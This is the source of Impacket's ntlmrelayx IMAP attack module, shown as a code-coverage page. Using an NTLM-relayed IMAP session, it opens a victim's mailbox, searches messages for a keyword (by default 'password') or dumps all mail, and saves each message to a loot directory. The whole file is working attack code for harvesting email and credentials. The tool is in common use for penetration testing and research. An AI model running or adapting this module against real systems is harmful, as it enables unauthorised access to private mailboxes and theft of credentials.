Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# IMAP Attack Class 

11# IMAP protocol relay attack 

12# 

13# Authors: 

14# Alberto Solino (@agsolino) 

15# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 

16# 

17import re 

18import os 

19from impacket import LOG 

20from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 

21 

22PROTOCOL_ATTACK_CLASS = "IMAPAttack" 

23 

24class IMAPAttack(ProtocolAttack): 

25 """ 

26 This is the default IMAP(s) attack. By default it searches the INBOX imap folder 

27 for messages with "password" in the header or body. Alternate keywords can be specified 

28 on the command line. For more advanced attacks, consider using the SOCKS feature. 

29 """ 

30 PLUGIN_NAMES = ["IMAP", "IMAPS"] 

31 def run(self): 

32 #Default action: Search the INBOX 

33 targetBox = self.config.mailbox 

34 result, data = self.client.select(targetBox,True) #True indicates readonly 

35 if result != 'OK': 

36 LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) 

37 LOG.info('Opening mailbox INBOX') 

38 targetBox = 'INBOX' 

39 result, data = self.client.select(targetBox,True) #True indicates readonly 

40 inboxCount = int(data[0]) 

41 LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) 

42 #If we should not dump all, search for the keyword 

43 if not self.config.dump_all: 

44 result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) 

45 #Check if search worked 

46 if result != 'OK': 

47 LOG.error('Search failed: %s' % rawdata) 

48 return 

49 dumpMessages = [] 

50 #message IDs are separated by spaces 

51 for msgs in rawdata: 

52 dumpMessages += msgs.split(' ') 

53 if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: 

54 dumpMessages = dumpMessages[:self.config.dump_max] 

55 else: 

56 #Dump all mails, up to the maximum number configured 

57 if self.config.dump_max == 0 or self.config.dump_max > inboxCount: 

58 dumpMessages = list(range(1, inboxCount+1)) 

59 else: 

60 dumpMessages = list(range(1, self.config.dump_max+1)) 

61 

62 numMsgs = len(dumpMessages) 

63 if numMsgs == 0: 

64 LOG.info('No messages were found containing the search keywords') 

65 else: 

66 LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) 

67 for i, msgIndex in enumerate(dumpMessages): 

68 #Fetch the message 

69 result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') 

70 if result != 'OK': 

71 LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) 

72 continue 

73 

74 #Replace any special chars in the mailbox name and username 

75 mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) 

76 textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) 

77 

78 #Combine username with mailboxname and mail number 

79 fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' 

80 

81 #Write it to the file 

82 with open(os.path.join(self.config.lootdir,fileName),'w') as of: 

83 of.write(rawMessage[0][1]) 

84 LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) 

85 

86 #Close connection cleanly 

87 self.client.logout()